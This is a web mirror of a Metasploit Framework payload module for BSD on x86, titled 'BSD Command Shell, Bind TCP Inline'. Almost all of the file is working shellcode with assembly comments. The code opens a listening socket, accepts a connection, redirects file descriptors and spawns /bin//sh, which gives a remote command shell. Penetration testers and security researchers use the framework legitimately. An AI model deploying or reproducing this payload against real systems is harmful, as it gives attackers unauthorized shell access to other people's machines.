CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb
Views: 11779
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 73
10
11
include Msf::Payload::Single
12
include Msf::Payload::Bsd
13
include Msf::Sessions::CommandShellOptions
14
15
def initialize(info = {})
16
super(merge_info(info,
17
'Name' => 'BSD Command Shell, Bind TCP Inline',
18
'Description' => 'Listen for a connection and spawn a command shell',
19
'Author' => 'Ramon de C Valle',
20
'License' => MSF_LICENSE,
21
'Platform' => 'bsd',
22
'Arch' => ARCH_X86,
23
'Handler' => Msf::Handler::BindTcp,
24
'Session' => Msf::Sessions::CommandShellUnix,
25
'Payload' =>
26
{
27
'Offsets' =>
28
{
29
'LPORT' => [ 6, 'n' ],
30
},
31
'Payload' =>
32
"\x31\xc0" + # xorl %eax,%eax #
33
"\x50" + # pushl %eax #
34
"\x68\xff\x02\x04\xd2" + # pushl $0xd20402ff #
35
"\x89\xe7" + # movl %esp,%edi #
36
"\x50" + # pushl %eax #
37
"\x6a\x01" + # pushl $0x01 #
38
"\x6a\x02" + # pushl $0x02 #
39
"\x6a\x10" + # pushl $0x10 #
40
"\xb0\x61" + # movb $0x61,%al #
41
"\xcd\x80" + # int $0x80 #
42
"\x57" + # pushl %edi #
43
"\x50" + # pushl %eax #
44
"\x50" + # pushl %eax #
45
"\x6a\x68" + # pushl $0x68 #
46
"\x58" + # popl %eax #
47
"\xcd\x80" + # int $0x80 #
48
"\x89\x47\xec" + # movl %eax,-0x14(%edi) #
49
"\xb0\x6a" + # movb $0x6a,%al #
50
"\xcd\x80" + # int $0x80 #
51
"\xb0\x1e" + # movb $0x1e,%al #
52
"\xcd\x80" + # int $0x80 #
53
"\x50" + # pushl %eax #
54
"\x50" + # pushl %eax #
55
"\x6a\x5a" + # pushl $0x5a #
56
"\x58" + # popl %eax #
57
"\xcd\x80" + # int $0x80 #
58
"\xff\x4f\xe4" + # decl -0x1c(%edi) #
59
"\x79\xf6" + # jns <bndsockcode+42> #
60
"\x50" + # pushl %eax #
61
"\x68\x2f\x2f\x73\x68" + # pushl $0x68732f2f #
62
"\x68\x2f\x62\x69\x6e" + # pushl $0x6e69622f #
63
"\x89\xe3" + # movl %esp,%ebx #
64
"\x50" + # pushl %eax #
65
"\x54" + # pushl %esp #
66
"\x53" + # pushl %ebx #
67
"\x50" + # pushl %eax #
68
"\xb0\x3b" + # movb $0x3b,%al #
69
"\xcd\x80" # int $0x80 #
70
}
71
))
72
end
73
end
74
75